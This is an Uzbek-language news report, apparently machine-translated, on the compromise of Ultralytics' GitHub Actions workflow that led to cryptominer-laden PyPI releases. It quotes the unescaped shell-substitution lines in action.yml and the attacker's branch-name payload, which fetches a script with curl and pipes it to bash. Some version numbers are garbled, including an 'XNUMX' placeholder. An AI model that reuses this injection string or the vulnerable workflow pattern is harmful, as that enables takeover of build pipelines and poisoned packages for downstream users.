GitHub Actions ishlov beruvchisidagi xato zararli Ultralytics relizlarining nashr etilishiga olib keldi.

Buzg'unchilar Ultralytics Python kutubxonasi omborida GitHub Actions ishlov beruvchi huquqlari bilan kodni bajarishga muvaffaq bo'lishdi, u tasvirlardagi ob'ektlarni aniqlash va tasvirlarni segmentlash kabi kompyuterni ko'rish muammolarini hal qilish uchun ishlatiladi. Repozitariyga kirish huquqiga ega bo'lgandan so'ng, tajovuzkorlar PyPI katalogida kriptovalyuta qazib olish uchun zararli o'zgarishlarni o'z ichiga olgan bir nechta yangi Ultralytics nashrlarini nashr etishdi. So'nggi bir oy ichida Ultralytics kutubxonasi PyPI katalogidan 6.4 million martadan ko'proq yuklab olingan.

Repozitariyni buzish uchun ultralytics-actions paketida zaiflikdan foydalanildi, bu GitHub-dagi repozitoriyda GitHub Actions mexanizmi yordamida muayyan harakatlar bajarilganda avtomatik ravishda ishlov beruvchilarni ishga tushirish uchun ishlatiladi. Ultralytics loyihasida zaif ishlov beruvchi pull_request_target hodisasiga bog'langan va yangi tortish so'rovlari kelganda chaqirilgan. Xususan, jo‘natilgan pull so‘rovlaridagi kodni formatlash uchun format.yml ishlov beruvchisi chaqirildi va action.yml faylining “run” bo‘limida ko‘rsatilgan kod bajarildi, unda almashtirish naqshlari bilan qobiq buyruqlari mavjud: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

Shunday qilib, tortishish so'rovida ko'rsatilgan Git filialining nomi to'g'ri qochishsiz qobiq buyruqlariga almashtirildi. Shunisi e'tiborga loyiqki, avgust oyida ultralytics-actions to'plami echo funksiyasida tashqi qiymatdan foydalanish bilan bog'liq shunga o'xshash zaiflikni allaqachon tuzatgan edi: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »

GitHub Actions ishlov beruvchisi kontekstida o'z kodlarining bajarilishini tashkil qilish uchun tajovuzkorlar ultralytics omboriga filial nomi sifatida quyidagilarni ko'rsatgan holda tortish so'rovini yuborishdi: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Shunga ko'ra, tortib olish so'rovi olinganda, kodga tajovuzkor tomonidan ko'rsatilgan "$(...)" qatori kiritildi, bu ishlov beruvchi keyinchalik ishga tushirilganda, "curl -sSfL raw.githubusercontent" kodining bajarilishiga olib keldi. com/…/file.sh | bash".

GitHub Actions ishlov beruvchisidagi xato zararli Ultralytics relizlarining nashr etilishiga olib keldi.

GitHub Actions kontekstida ishlaydigan koddan omborga kirish tokeni va boshqa nozik ma'lumotlarni olish uchun foydalanish mumkin. Qanday qilib tajovuzkorlar o'z kodlarini GitHub Actions-da bajarish qobiliyatiga ega bo'lgan relizni yaratishga muvaffaq bo'lishdi, bu publish.yml ishlov beruvchisi o'zgarishi tufayli mumkin bo'lganligi taxmin qilinmoqda (tajovuzkorlar tekshirishni olib tashlashdi; PyPI-da nashrlarni nashr etishga ruxsat berilgan hisob) va ma'lumotlaringizni nashrga kiritish uchun GitHub Actions Build keshini zaharlovchi texnologiyalardan foydalanish.

Ultralytics 8.3.41 ning birinchi zararli versiyasi hujumchilar tomonidan 4-dekabr kuni soat 23:51 da (MSK) PyPI da chop etildi va ertasi kuni soat 12:15 da olib tashlandi. Soat 15:47 da yana bir versiya, 8.3.42, joylashtirildi va soat 16:47 da olib tashlandi. Shunday qilib, zararli versiyalarni jami taxminan 13 soat davomida yuklab olish mumkin edi (PyPI kuniga ultralytics kutubxonasidan taxminan 250 000 marta yuklab olinganligini qayd etadi). 8.3.41 va 8.3.42 versiyalarida tashqi manbadan yuklab olingan kod mavjud edi. server Kriptovalyuta qazib olish uchun XMRig komponenti.

Loyiha ishlab chiquvchilari muammoni hal qilishdi va 8.3.43 va 8.3.44 tuzatuvchi relizlarni yaratdilar, ammo ikki kundan keyin yana bir hujum amalga oshirildi, bu vaqtda hujumchilar bugun soat 04:41 va 05:27 (MSK) da ikkita qo'shimcha zararli relizlarni chop etishdi - 8.3.45 8.3.46 va 8.3.44, ular boshqa kon kodlarini o'z ichiga oladi. Tekshiruv oxirigacha foydalanuvchilarga yangi versiyalarni o'rnatishni to'xtatib turish va XNUMX versiyasini bog'liqlik sifatida tuzatish tavsiya etiladi.

Manba: opennet.ru

DDoS himoyasi, VPS VDS serverlari bo'lgan saytlar uchun ishonchli hosting sotib oling 🔥 DDoS himoyasi, VPS VDS serverlari bilan ishonchli veb-sayt xostingini sotib oling | ProHoster